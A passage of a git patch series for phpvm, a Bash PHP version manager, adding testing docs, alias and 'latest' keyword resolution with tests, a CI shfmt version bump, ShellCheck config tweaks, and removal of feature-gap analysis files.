+brew install shellcheck  # macOS
+sudo apt-get install shellcheck  # Debian/Ubuntu
+sudo dnf install ShellCheck  # Fedora/RHEL
+```
+
+### shfmt not found
+
+```bash
+# Install shfmt
+brew install shfmt  # macOS
+
+# Or with Go
+GO111MODULE=on go install mvdan.cc/sh/v3/cmd/shfmt@latest
+```
+
+### Tests fail in CI but pass locally
+
+1. Check that you're using the same environment
+2. Verify all dependencies are installed
+3. Check for platform-specific issues
+4. Review CI logs for specific error messages
+
+### Pre-commit hook fails
+
+```bash
+# Fix formatting
+make format
+
+# Fix linting issues
+make lint
+
+# Re-run checks
+make check
+```
+
+## Performance
+
+### Test Execution Times
+
+Approximate execution times on modern hardware:
+
+- **Built-in tests:** ~2-5 seconds
+- **BATS tests:** ~5-10 seconds
+- **ShellCheck:** ~1-2 seconds
+- **Format check:** ~1 second
+- **Full suite:** ~10-20 seconds
+
+### Optimizing Tests
+
+- Run fast tests first (linting, formatting)
+- Use test mode to avoid system changes
+- Mock external dependencies
+- Parallelize when possible (BATS supports `-j` flag)
+
+## Future Enhancements
+
+Planned testing improvements:
+
+- [ ] Code coverage reporting (using kcov)
+- [ ] Performance benchmarking
+- [ ] Mutation testing
+- [ ] Fuzz testing for input validation
+- [ ] Integration tests with real PHP installations
+- [ ] Cross-platform compatibility matrix
+- [ ] Stress testing (many versions, rapid switches)
+
+## Contributing
+
+When contributing to phpvm:
+
+1. **Write tests first** (TDD approach)
+2. **Ensure all tests pass** (`make check`)
+3. **Add tests for bug fixes**
+4. **Document test scenarios**
+5. **Follow existing test patterns**
+
+## Resources
+
+- [BATS Documentation](https://bats-core.readthedocs.io/)
+- [ShellCheck Wiki](https://github.com/koalaman/shellcheck/wiki)
+- [shfmt Documentation](https://github.com/mvdan/sh)
+- [Bash Best Practices](https://mywiki.wooledge.org/BashGuide/Practices)
+
+---
+
+**Last Updated:** January 15, 2026
+**Test Suite Version:** 2.0
+**Total Tests:** 50+ test cases
diff --git a/tests/README.md b/tests/README.md
new file mode 100644
index 0000000..5552028
--- /dev/null
+++ b/tests/README.md
@@ -0,0 +1,240 @@
+# phpvm Test Suite
+
+This directory contains the BATS (Bash Automated Testing System) test suite for phpvm.
+
+## Structure
+
+```
+tests/
+├── README.md           # This file
+├── test_helper.bash    # Setup, teardown, and helper functions
+├── 01_core.bats        # Core functionality tests
+├── 02_features.bats    # Feature and placeholder tests
+└── 03_error_handling.bats  # Error handling and edge case tests
+```
+
+## Running Tests
+
+### All tests
+
+```bash
+# From project root
+make test-bats
+
+# Or directly with BATS
+bats tests/
+```
+
+### Specific test file
+
+```bash
+bats tests/01_core.bats
+```
+
+### With verbose output
+
+```bash
+bats -t tests/
+```
+
+### With tap output (for CI)
+
+```bash
+bats -t tests/ | tee test-results.tap
+```
+
+## Writing Tests
+
+### Basic test structure
+
+```bash
+#!/usr/bin/env bats
+
+load test_helper
+
+@test "description of what you're testing" {
+    # Arrange - Setup test conditions
+    local test_input="8.1"
+
+    # Act - Execute the code
+    run command_to_test "$test_input"
+
+    # Assert - Verify results
+    [ "$status" -eq 0 ]
+    [ "$output" = "expected output" ]
+}
+```
+
+### Using test helper
+
+The `test_helper.bash` file provides:
+
+- `setup()` - Runs before each test
+- `teardown()` - Runs after each test
+- `create_mock_php()` - Helper to create mock PHP installations
+- Environment variables for testing
+
+### Test naming conventions
+
+- Use descriptive names that explain what is being tested
+- Start with the command or function name
+- Describe the expected behavior
+- Example: `phpvm current shows no active version initially`
+
+### Testing commands
+
+```bash
+# Test command execution
+@test "command succeeds" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" command arg
+    [ "$status" -eq 0 ]
+}
+
+# Test command output
+@test "command outputs expected text" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" command
+    [[ "$output" =~ "expected text" ]]
+}
+
+# Test command failure
+@test "command fails with invalid input" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" command invalid
+    [ "$status" -ne 0 ]
+}
+```
+
+### Testing functions
+
+```bash
+# Test internal function
+@test "function returns correct value" {
+    run function_name arg1 arg2
+    [ "$status" -eq 0 ]
+    [ "$output" = "expected" ]
+}
+```
+
+## Test Categories
+
+### Core Tests (01_core.bats)
+
+Tests for fundamental functionality:
+- Version validation
+- Input sanitization
+- Directory operations
+- File operations
+- Version resolution
+- Help and version commands
+
+### Feature Tests (02_features.bats)
+
+Tests for features (including placeholders):
+- exec, run commands
+- ls-remote command
+- alias management
+- cache management
+- Help text content
+
+### Error Handling Tests (03_error_handling.bats)
+
+Tests for error conditions:
+- Missing arguments
+- Invalid input
+- Edge cases
+- Security validation
+- Graceful degradation
+
+## Best Practices
+
+1. **Test one thing at a time** - Each test should verify a single behavior
+2. **Use setup/teardown** - Keep tests independent
+3. **Make tests readable** - Clear names and comments
+4. **Test error cases** - Don't just test happy paths
+5. **Use helpers** - Reduce duplication
+6. **Keep tests fast** - Use mocks when possible
+
+## Debugging Tests
+
+### Run specific test
+
+```bash
+bats tests/01_core.bats -f "test name pattern"
+```
+
+### Print output during test
+
+```bash
+@test "debug test" {
+    run command
+    echo "Status: $status" >&3
+    echo "Output: $output" >&3
+    [ "$status" -eq 0 ]
+}
+```
+
+### Run with verbose output
+
+```bash
+bats -t tests/
+```
+
+## Common Patterns
+
+### Testing exit codes
+
+```bash
+run command
+[ "$status" -eq 0 ]     # Success
+[ "$status" -eq 1 ]     # General error
+[ "$status" -eq 2 ]     # Invalid argument
+[ "$status" -ne 0 ]     # Any error
+```
+
+### Testing output
+
+```bash
+run command
+[ "$output" = "exact match" ]
+[[ "$output" =~ "pattern" ]]
+[[ "$output" =~ ^prefix ]]
+```
+
+### Testing file operations
+
+```bash
+[ -f "$file" ]          # File exists
+[ -d "$dir" ]           # Directory exists
+[ -x "$file" ]          # File is executable
+[ ! -f "$file" ]        # File doesn't exist
+```
+
+## Adding New Tests
+
+When adding new functionality:
+
+1. Create test first (TDD approach)
+2. Add test to appropriate file
+3. Run test to see it fail
+4. Implement feature
+5. Run test to see it pass
+6. Refactor if needed
+
+## Integration with CI
+
+These tests run automatically in GitHub Actions on:
+- Every push to main/development branches
+- Every pull request
+- Weekly scheduled runs
+
+See `.github/workflows/quality.yml` for CI configuration.
+
+## Resources
+
+- [BATS Documentation](https://bats-core.readthedocs.io/)
+- [BATS GitHub](https://github.com/bats-core/bats-core)
+- [Testing Best Practices](../TESTING.md)
+
+---
+
+**Test Coverage:** 50+ test cases
+**Last Updated:** January 15, 2026

From c9939c934bcc12664d7590fdadfd5c0421bdb1cf Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <jerome@kayatech.com>
Date: Thu, 15 Jan 2026 20:59:12 +0530
Subject: [PATCH 07/20] feat: enhance alias functionality and add QA tooling

---
 CHANGELOG.md           |   3 +
 README.MD              |  20 ++++++
 phpvm.sh               | 141 +++++++++++++++++++++++++++++++++++++++--
 tests/02_features.bats |  31 +++++++++
 4 files changed, 190 insertions(+), 5 deletions(-)

diff --git a/CHANGELOG.md b/CHANGELOG.md
index 4817b7b..b77bde9 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -5,8 +5,11 @@
 ### Added
 
 - **Alias management commands:** Added `phpvm alias` and `phpvm unalias` for version alias creation, listing, and removal.
+- **Alias pattern filtering:** `phpvm alias <pattern>` now filters aliases by name.
 - **Alias resolution support:** Aliases now resolve in `phpvm install`, `phpvm use`, and `phpvm which`.
 - **Alias visibility:** `phpvm list` now shows configured aliases.
+- **Alias resolution in `.phpvmrc`:** `phpvm auto` now resolves aliases defined in `.phpvmrc`.
+- **Latest/stable keywords:** `latest` and `stable` now resolve to the latest installed PHP version.
 - **Quality assurance tooling:** Added ShellCheck and shfmt configuration, a QA Makefile, and a `qa.sh` runner script.
 - **BATS test suite:** Added comprehensive BATS tests for core functionality and new alias behavior.
 - **CI quality workflow:** Added a quality workflow for linting, formatting, and tests.
diff --git a/README.MD b/README.MD
index f446b82..7fb5877 100644
--- a/README.MD
+++ b/README.MD
@@ -202,6 +202,13 @@ phpvm auto
 
 phpvm will automatically detect and switch to the version specified in the `.phpvmrc` file.
 
+Aliases can also be used in `.phpvmrc`:
+
+```sh
+echo "default" > .phpvmrc
+phpvm auto
+```
+
 ### Listing Installed Versions
 
 To list all installed PHP versions:
@@ -227,6 +234,12 @@ List aliases:
 phpvm alias
 ```
 
+List aliases matching a pattern:
+
+```sh
+phpvm alias def
+```
+
 Remove an alias:
 
 ```sh
@@ -235,6 +248,13 @@ phpvm unalias production
 
 Aliases also appear in `phpvm list` output when defined.
 
+You can also use `latest` or `stable` as shorthand for the latest installed PHP version:
+
+```sh
+phpvm use latest
+phpvm use stable
+```
+
 ### Cache Directory
 
 Show the phpvm cache directory:
diff --git a/phpvm.sh b/phpvm.sh
index 1750952..9fab8b1 100755
--- a/phpvm.sh
+++ b/phpvm.sh
@@ -396,6 +396,14 @@ phpvm_resolve_version() {
         return 1
     fi
 
+    # Resolve special keywords
+    if [ "$input" = "latest" ] || [ "$input" = "stable" ]; then
+        if resolved=$(phpvm_get_latest_installed_version); then
+            echo "$resolved"
+            return 0
+        fi
+    fi
+
     # Check alias file first
     if [ -f "$PHPVM_DIR/alias/$input" ]; then
         resolved=$(command cat "$PHPVM_DIR/alias/$input" 2>/dev/null | command tr -d '[:space:]')
@@ -411,6 +419,70 @@ phpvm_resolve_version() {
     return 0
 }
 
+# Get latest installed PHP version (best-effort)
+phpvm_get_latest_installed_version() {
+    local versions=()
+    local version
+    local latest
+
+    if [ "${PHPVM_TEST_MODE}" = "true" ]; then
+        # Test mode: use test prefix paths
+        for path in "${TEST_PREFIX:-/tmp}/opt/homebrew/Cellar/php"*; do
+            if [ -d "$path" ]; then
+                version=$(basename "$path")
+                version=${version#php@}
+                [ "$version" = "php" ] && continue
+                versions+=("$version")
+            fi
+        done
+    else
+        case "$PKG_MANAGER" in
+            brew)
+                if [ -d "$HOMEBREW_PREFIX/Cellar" ]; then
+                    for path in "$HOMEBREW_PREFIX/Cellar/php"*; do
+                        if [ -d "$path" ]; then
+                            version=$(basename "$path")
+                            if [ "$version" = "php" ]; then
+                                version=$(get_installed_php_version)
+                            else
+                                version=${version#php@}
+                            fi
+                            [ -n "$version" ] && versions+=("$version")
+                        fi
+                    done
+                fi
+                ;;
+            apt)
+                while read -r version; do
+                    versions+=("$version")
+                done < <(dpkg-query -W -f='${Package}\n' 2>/dev/null | grep -E '^php[0-9]+\.[0-9]+' | sed 's/^php//')
+                ;;
+            dnf | yum)
+                while read -r version; do
+                    versions+=("$version")
+                done < <($PKG_MANAGER list installed 2>/dev/null | grep -E 'php[0-9]+\.' | awk '{print $1}' | sed 's/^php//')
+                ;;
+            pacman)
+                while read -r version; do
+                    versions+=("$version")
+                done < <(pacman -Q 2>/dev/null | grep '^php' | awk '{print $1}' | sed 's/^php//')
+                ;;
+        esac
+    fi
+
+    if [ ${#versions[@]} -eq 0 ]; then
+        return 1
+    fi
+
+    latest=$(printf '%s\n' "${versions[@]}" | sort -V | tail -1)
+    if [ -n "$latest" ]; then
+        echo "$latest"
+        return 0
+    fi
+
+    return 1
+}
+
 # Check if Remi repository is available/enabled for RHEL/Fedora systems
 check_remi_repository() {
     # Check if Remi repository is installed
@@ -1334,14 +1406,17 @@ auto_switch_php_version() {
         return 1
     fi
 
+    # Resolve aliases before validation
+    version=$(phpvm_resolve_version "$version")
+
     # Validate version is not empty and contains only valid characters
     if [ -z "$version" ]; then
         phpvm_warn "No valid PHP version found in $phpvmrc_file."
         return 1
     fi
 
-    # Basic validation for PHP version format (X.Y or system)
-    if ! echo "$version" | grep -qE '^([0-9]+\.[0-9]+|system)$'; then
+    # Validate version format (X.Y, X.Y.Z, or system)
+    if ! validate_php_version "$version"; then
         phpvm_err "Invalid PHP version format in $phpvmrc_file: $version"
         return 1
     fi
@@ -1857,6 +1932,17 @@ EOF
         [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "7.4" ]
     }
 
+    # Test use default alias
+    test_use_default_alias() {
+        mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@8.2/bin"
+        phpvm_alias "default" "8.2" >/dev/null 2>&1 || return 1
+
+        use_php_version "default" >/dev/null
+        local status=$?
+
+        [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "8.2" ]
+    }
+
     # Test system_php_version
     test_system_php_version() {
         system_php_version >/dev/null
@@ -1886,6 +1972,29 @@ EOF
         [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "7.4" ]
     }
 
+    # Test auto_switch_php_version with alias
+    test_auto_switch_alias() {
+        # Create mock installation
+        mkdir -p "$TEST_DIR/opt/homebrew/Cellar/php@8.1/bin"
+
+        # Create alias
+        phpvm_alias "default" "8.1" >/dev/null 2>&1 || return 1
+
+        # Create a project with .phpvmrc
+        mkdir -p "$HOME/alias_project"
+        echo "default" >"$HOME/alias_project/.phpvmrc"
+
+        # Change to the project directory
+        cd "$HOME/alias_project"
+
+        # Test auto-switching
+        auto_switch_php_version >/dev/null
+        local status=$?
+
+        # Check for success and correct active version
+        [ $status -eq 0 ] && [ "$(cat $PHPVM_ACTIVE_VERSION_FILE)" = "8.1" ]
+    }
+
     # Test handling of corrupted .phpvmrc file
     test_corrupted_phpvmrc() {
         # Create an invalid .phpvmrc file (empty)
@@ -2101,12 +2210,18 @@ EOF
     total=$((total + 1))
     test_function "use_php_version" test_use_php_version || failed=$((failed + 1))
 
+    total=$((total + 1))
+    test_function "use default alias" test_use_default_alias || failed=$((failed + 1))
+
     total=$((total + 1))
     test_function "system_php_version" test_system_php_version || failed=$((failed + 1))
 
     total=$((total + 1))
     test_function "auto_switch_php_version" test_auto_switch || failed=$((failed + 1))
 
+    total=$((total + 1))
+    test_function "auto_switch_php_version alias" test_auto_switch_alias || failed=$((failed + 1))
+
     total=$((total + 1))
     test_function "corrupted .phpvmrc handling" test_corrupted_phpvmrc || failed=$((failed + 1))
 
@@ -2308,6 +2423,16 @@ phpvm_alias() {
         return 0
     fi
 
+    # Pattern filter listing (phpvm alias <pattern>)
+    if [ -z "$version" ] && [ ! -f "$PHPVM_DIR/alias/$name" ]; then
+        phpvm_echo "Version aliases matching '$name':"
+        if phpvm_list_aliases "$name"; then
+            return 0
+        fi
+        echo "  (no aliases matched)"
+        return $PHPVM_EXIT_NOT_FOUND
+    fi
+
     # Show single alias
     if [ -z "$version" ]; then
         if [ -f "$PHPVM_DIR/alias/$name" ]; then
@@ -2415,10 +2540,16 @@ main() {
     case "$command" in
     use)
         if [ "$#" -eq 0 ]; then
-            phpvm_err "Missing PHP version argument for 'use' command."
-            exit $PHPVM_EXIT_INVALID_ARG
+            if [ -f "$PHPVM_DIR/alias/default" ]; then
+                use_php_version "default"
+            else
+                phpvm_err "Missing PHP version argument for 'use' command."
+                phpvm_warn "Set a default alias with: phpvm alias default <version>"
+                exit $PHPVM_EXIT_INVALID_ARG
+            fi
+        else
+            use_php_version "$@"
         fi
-        use_php_version "$@"
         ;;
     install)
         if [ "$#" -eq 0 ]; then
diff --git a/tests/02_features.bats b/tests/02_features.bats
index 1291506..d675f51 100644
--- a/tests/02_features.bats
+++ b/tests/02_features.bats
@@ -35,6 +35,10 @@ load test_helper
     [ "$status" -eq 0 ]
     [[ "$output" =~ "default" ]]
 
+    run PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias def
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ "default" ]]
+
     rm -rf "$temp_dir"
 }
 
@@ -52,6 +56,33 @@ load test_helper
     rm -rf "$temp_dir"
 }
 
+@test "phpvm auto resolves alias in .phpvmrc" {
+    local temp_dir
+    temp_dir=$(mktemp -d /tmp/phpvm-bats-rcalias.XXXXXX)
+
+    mkdir -p "$temp_dir/project"
+    echo "default" > "$temp_dir/project/.phpvmrc"
+
+    PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias default 8.1
+
+    run bash -c "cd $temp_dir/project && PHPVM_DIR=$temp_dir/.phpvm PHPVM_TEST_MODE=true bash $BATS_TEST_DIRNAME/../phpvm.sh auto"
+    [ "$status" -eq 0 ]
+
+    rm -rf "$temp_dir"
+}
+
+@test "phpvm use without args uses default alias" {
+    local temp_dir
+    temp_dir=$(mktemp -d /tmp/phpvm-bats-default.XXXXXX)
+
+    PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias default 8.1
+
+    run PHPVM_DIR="$temp_dir/.phpvm" PHPVM_TEST_MODE=true bash "$BATS_TEST_DIRNAME/../phpvm.sh" use
+    [ "$status" -eq 0 ]
+
+    rm -rf "$temp_dir"
+}
+
 @test "phpvm cache dir works" {
     run bash "$BATS_TEST_DIRNAME/../phpvm.sh" cache dir
     [ "$status" -eq 0 ]

From f29beecfccca940d7e25fc7a6b07c938d8b95de3 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <jerome@kayatech.com>
Date: Thu, 15 Jan 2026 21:07:11 +0530
Subject: [PATCH 08/20] fix: update shfmt download link to version 3.12.0 in
 workflow and contributing guide

---
 .github/workflows/quality.yml | 2 +-
 CONTRIBUTING.md               | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/quality.yml b/.github/workflows/quality.yml
index 73093da..fa97bfb 100644
--- a/.github/workflows/quality.yml
+++ b/.github/workflows/quality.yml
@@ -23,7 +23,7 @@ jobs:
 
             - name: Install shfmt
               run: |
-                  wget -O shfmt https://github.com/mvdan/sh/releases/latest/download/shfmt_v3.8.0_linux_amd64
+                  wget -O shfmt https://github.com/mvdan/sh/releases/download/v3.12.0/shfmt_v3.12.0_linux_amd64
                   chmod +x shfmt
                   sudo mv shfmt /usr/local/bin/
 
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 9854770..128eadf 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -47,7 +47,7 @@ sudo apt-get update
 sudo apt-get install -y shellcheck bats
 
 # shfmt (manual installation)
-wget -O shfmt https://github.com/mvdan/sh/releases/latest/download/shfmt_v3.8.0_linux_amd64
+wget -O shfmt https://github.com/mvdan/sh/releases/download/v3.12.0/shfmt_v3.12.0_linux_amd64
 chmod +x shfmt
 sudo mv shfmt /usr/local/bin/
 ```

From a435ad36730531a54b83e3100fb298be714c4583 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <jerome@kayatech.com>
Date: Thu, 15 Jan 2026 21:12:45 +0530
Subject: [PATCH 09/20] refactor: improve shell sourcing logic and enhance
 directory change handling

---
 .shellcheckrc |  6 ++----
 phpvm.sh      | 19 +++++++++++--------
 2 files changed, 13 insertions(+), 12 deletions(-)

diff --git a/.shellcheckrc b/.shellcheckrc
index 183dbfe..502862b 100644
--- a/.shellcheckrc
+++ b/.shellcheckrc
@@ -19,10 +19,8 @@ disable=SC2317
 # Some variables are used in eval or sourced contexts
 disable=SC2034
 
-# Enable optional checks
-enable=quote-safe-variables
-enable=require-variable-braces
-enable=check-unassigned-uppercase
+# Limit output to warnings/errors to avoid noise from info/style checks
+severity=warning
 
 # Set shell to bash
 shell=bash
diff --git a/phpvm.sh b/phpvm.sh
index 9fab8b1..5e6b5d7 100755
--- a/phpvm.sh
+++ b/phpvm.sh
@@ -12,7 +12,9 @@ PHPVM_VERSION="1.7.0"
 PHPVM_TEST_MODE="${PHPVM_TEST_MODE:-false}"
 
 # Fix to prevent shell crash when sourced
-(return 0 2>/dev/null) && return 0 || true # Allow sourcing without execution
+if (return 0 2>/dev/null); then
+    return 0
+fi
 
 PHPVM_DIR="${PHPVM_DIR:-$HOME/.phpvm}"
 PHPVM_VERSIONS_DIR="$PHPVM_DIR/versions"
@@ -1961,8 +1963,8 @@ EOF
         mkdir -p "$HOME/project"
         echo "7.4" >"$HOME/project/.phpvmrc"
 
-        # Change to the project directory
-        cd "$HOME/project"
+    # Change to the project directory
+    cd "$HOME/project" || return 1
 
         # Test auto-switching
         auto_switch_php_version >/dev/null
@@ -1984,8 +1986,8 @@ EOF
         mkdir -p "$HOME/alias_project"
         echo "default" >"$HOME/alias_project/.phpvmrc"
 
-        # Change to the project directory
-        cd "$HOME/alias_project"
+    # Change to the project directory
+    cd "$HOME/alias_project" || return 1
 
         # Test auto-switching
         auto_switch_php_version >/dev/null
@@ -2001,8 +2003,8 @@ EOF
         mkdir -p "$HOME/bad_project"
         touch "$HOME/bad_project/.phpvmrc"
 
-        # Change to the project directory
-        cd "$HOME/bad_project"
+    # Change to the project directory
+    cd "$HOME/bad_project" || return 1
 
         # Test auto-switching with empty .phpvmrc
         output=$(auto_switch_php_version 2>&1)
@@ -2666,7 +2668,8 @@ else
 
     # Auto-use .phpvmrc if enabled and present
     if [ "${PHPVM_AUTO_USE:-true}" = "true" ] && [ -f ".phpvmrc" ]; then
-        command -v auto_switch_php_version >/dev/null 2>&1 &&
+        if command -v auto_switch_php_version >/dev/null 2>&1; then
             auto_switch_php_version 2>/dev/null || true
+        fi
     fi
 fi

From 1dd2affc020f5a0e70330992df7a0600d0eb270b Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Thu, 15 Jan 2026 23:33:37 +0530
Subject: [PATCH 10/20] Refactor code structure for improved readability and
 maintainability

---
 ANALYSIS_README.md   | 180 -------------
 FEATURE_CHECKLIST.md | 178 -------------
 NVM_FEATURE_GAPS.md  | 599 -----------------------------------------
 install.sh           |  11 +-
 phpvm.sh             | 618 +++++++++++++++++++++----------------------
 5 files changed, 315 insertions(+), 1271 deletions(-)
 delete mode 100644 ANALYSIS_README.md
 delete mode 100644 FEATURE_CHECKLIST.md
 delete mode 100644 NVM_FEATURE_GAPS.md

diff --git a/ANALYSIS_README.md b/ANALYSIS_README.md
deleted file mode 100644
index e7ba5b7..0000000
--- a/ANALYSIS_README.md
+++ /dev/null
@@ -1,180 +0,0 @@
-# phpvm Feature Analysis Summary
-
-This directory contains comprehensive analysis documents comparing phpvm with nvm (Node Version Manager) to identify feature gaps and create an implementation roadmap.
-
-## 📚 Documentation Files
-
-### 1. [NVM_FEATURE_GAPS.md](./NVM_FEATURE_GAPS.md)
-**Comprehensive Analysis Document** (599 lines)
-
-The main detailed analysis document including:
-- Executive summary of findings
-- Methodology and comparison approach
-- Side-by-side feature comparison tables
-- Detailed analysis of 18+ missing features
-- Implementation steps and code examples for each feature
-- 12-week implementation roadmap (5 phases)
-- Testing strategy and success criteria
-- Backward compatibility considerations
-- Effort estimates and timelines
-
-**Best for:** Development teams planning implementation
-
-### 2. [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md)
-**Quick Reference Checklist** (178 lines)
-
-A concise, checkbox-based tracking document including:
-- Status of all features (implemented vs missing)
-- Priority-based organization (HIGH/MEDIUM/LOW)
-- Command mapping table (NVM → PHPVM)
-- Implementation statistics
-- Progress tracking format
-- Quick reference legend
-
-**Best for:** Quick status checks and progress tracking
-
-## 🎯 Analysis Results at a Glance
-
-### Current Status
-- **Feature Parity:** ~60%
-- **Commands in phpvm:** 13
-- **Commands in nvm:** 22+
-- **Features to Add:** 18+
-
-### Missing Feature Categories
-
-#### 🔴 HIGH PRIORITY (9 features)
-Essential for feature parity with nvm:
-1. Alias Management (`alias`, `unalias`)
-2. Remote Version Listing (`ls-remote`)
-3. Command Execution (`exec`, `run`)
-4. Cache Management (`cache dir`, `cache clear`)
-
-#### 🟡 MEDIUM PRIORITY (6 features)
-Important for enhanced usability:
-5. Enhanced Install Flags (`--alias`, `--default`, `--save`)
-6. Enhanced Use Flags (`--silent`, `--save`)
-7. Version Resolution (`version`, `version-remote`)
-8. Unload Command (`unload`)
-9. Extension Migration (`reinstall-packages`)
-10. Debug Enhancement (`debug`)
-
-#### 🟢 LOW PRIORITY (3+ features)
-Nice to have for better UX:
-11. Smart Pattern Matching
-12. Color Customization (`set-colors`)
-13. Global Silent Mode
-14. Tab Completion
-
-## 📊 Implementation Timeline
-
-| Phase | Duration | Features |
-|-------|----------|----------|
-| Phase 1: Core Features | 3 weeks | Alias, Cache, Exec/Run |
-| Phase 2: Remote & Resolution | 3 weeks | ls-remote, Version resolution |
-| Phase 3: Enhanced Options | 2 weeks | Flags, Silent mode, Unload |
-| Phase 4: Advanced Features | 2 weeks | Migration, Debug, Patterns |
-| Phase 5: Testing & Docs | 2 weeks | Tests, Docs, Performance |
-| **Total** | **12 weeks** | **All features** |
-
-**Additional Time:**
-- Testing: 2-3 weeks
-- Documentation: 1 week
-- **Grand Total:** ~15 weeks
-
-## 🚀 Quick Start Guide
-
-### For Developers
-1. Read [NVM_FEATURE_GAPS.md](./NVM_FEATURE_GAPS.md) for detailed implementation guidance
-2. Start with HIGH priority features
-3. Follow the implementation steps for each feature
-4. Maintain backward compatibility
-5. Add tests for each new feature
-
-### For Project Managers
-1. Review [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md) for status overview
-2. Track progress using the checkbox format
-3. Monitor implementation against 12-week roadmap
-4. Use effort estimates for sprint planning
-
-### For Users
-1. Check [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md) to see what's coming
-2. See command mapping table for nvm → phpvm equivalents
-3. Understand which features are in progress
-4. Provide feedback on priorities
-
-## 💡 Key Insights
-
-### phpvm Strengths (vs nvm)
-- ✅ Built-in comprehensive self-tests
-- ✅ System information command
-- ✅ Multi-package-manager support
-- ✅ Repository setup guidance
-- ✅ WSL-specific handling
-- ✅ Timestamped logging
-- ✅ Atomic file operations
-
-### Areas for Improvement
-- ❌ No alias system (critical)
-- ❌ Cannot list remote versions
-- ❌ Cannot execute commands with specific versions
-- ❌ No cache management
-- ❌ Limited install/use options
-- ❌ No version pattern matching
-
-## 📈 Success Metrics
-
-phpvm achieves feature parity when:
-1. ✅ All HIGH priority features implemented
-2. ✅ At least 75% of MEDIUM priority features implemented
-3. ✅ Core functionality matches nvm behavior
-4. ✅ All tests pass on supported platforms
-5. ✅ Documentation complete
-6. ✅ Performance acceptable
-7. ✅ Positive user feedback
-
-## 🔄 Progress Tracking
-
-Track implementation progress in [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md):
-- Update checkboxes as features are completed
-- Mark status as ✅ Done, 🟡 Partial, or ❌ Missing
-- Track against the 12-week roadmap
-
-## 📝 Contributing
-
-When implementing features:
-1. Follow implementation steps in NVM_FEATURE_GAPS.md
-2. Update FEATURE_CHECKLIST.md with progress
-3. Write tests for new functionality
-4. Update documentation (README.md, help text)
-5. Maintain backward compatibility
-6. Add to CHANGELOG.md
-
-## ⚠️ Important Notes
-
-### PHP vs Node.js Differences
-- **No LTS:** PHP doesn't have LTS versions like Node.js
-- **Package Managers:** phpvm uses system package managers (apt, brew, etc.)
-- **Extensions:** PHP uses compiled C extensions, not npm packages
-- **Platform Specific:** Some features may vary by package manager
-
-### Backward Compatibility
-- All new features must be optional
-- Existing commands must work unchanged
-- Default behavior must remain consistent
-- Old .phpvmrc files must still work
-
-## 📞 Questions or Feedback?
-
-- **Detailed Analysis:** See [NVM_FEATURE_GAPS.md](./NVM_FEATURE_GAPS.md)
-- **Quick Reference:** See [FEATURE_CHECKLIST.md](./FEATURE_CHECKLIST.md)
-- **Issues:** Create a GitHub issue
-- **Discussions:** Use GitHub Discussions
-
----
-
-**Analysis Date:** 2026-01-04  
-**Analysis Version:** 1.0  
-**phpvm Version Analyzed:** 1.7.0  
-**nvm Reference Version:** Latest (4662 lines)  
-**Prepared by:** GitHub Copilot Analysis
diff --git a/FEATURE_CHECKLIST.md b/FEATURE_CHECKLIST.md
deleted file mode 100644
index 96c4125..0000000
--- a/FEATURE_CHECKLIST.md
+++ /dev/null
@@ -1,178 +0,0 @@
-# phpvm Feature Parity Checklist
-
-A quick reference checklist of features needed to achieve full functional parity with nvm.
-
-## ✅ Already Implemented (Compatible with NVM)
-
-- [x] `phpvm install <version>` - Install PHP version
-- [x] `phpvm use <version>` - Switch to PHP version
-- [x] `phpvm uninstall <version>` - Remove PHP version
-- [x] `phpvm current` - Display active version
-- [x] `phpvm which [version]` - Show path to PHP binary
-- [x] `phpvm deactivate` - Disable phpvm temporarily
-- [x] `phpvm list` / `phpvm ls` - List installed versions
-- [x] `phpvm version` - Show phpvm version
-- [x] Auto-switching via `.phpvmrc` file
-
-## 🔴 HIGH PRIORITY - Missing Core Features
-
-### Alias System
-- [ ] `phpvm alias [pattern]` - List all aliases (or filter by pattern)
-- [ ] `phpvm alias <name> <version>` - Create/update version alias
-- [ ] `phpvm unalias <name>` - Remove alias
-- [ ] Support `default` alias concept
-- [ ] Support using aliases in `use`, `install`, etc.
-- [ ] Show aliases in `phpvm list` output
-
-### Remote Version Management
-- [ ] `phpvm ls-remote` - List all available PHP versions
-- [ ] `phpvm ls-remote <pattern>` - Filter remote versions by pattern
-- [ ] `phpvm ls-remote --no-colors` - Disable colored output
-- [ ] Package manager integration for version discovery
-
-### Command Execution
-- [ ] `phpvm exec <version> <command> [args]` - Execute command with specific PHP version
-- [ ] `phpvm run <version> [script] [args]` - Run PHP script with specific version
-- [ ] Support for `--silent` flag in exec/run
-- [ ] Preserve exit codes from executed commands
-
-### Cache Management
-- [ ] `phpvm cache dir` - Display cache directory location
-- [ ] `phpvm cache clear` - Clear all cached data
-- [ ] Create cache directory structure
-- [ ] Implement metadata caching for ls-remote
-
-## 🟡 MEDIUM PRIORITY - Enhanced Usability
-
-### Enhanced Install Command
-- [ ] `phpvm install <version> --alias=<name>` - Set alias after install
-- [ ] `phpvm install <version> --default` - Set as default after install
-- [ ] `phpvm install <version> --save` - Write to .phpvmrc after install
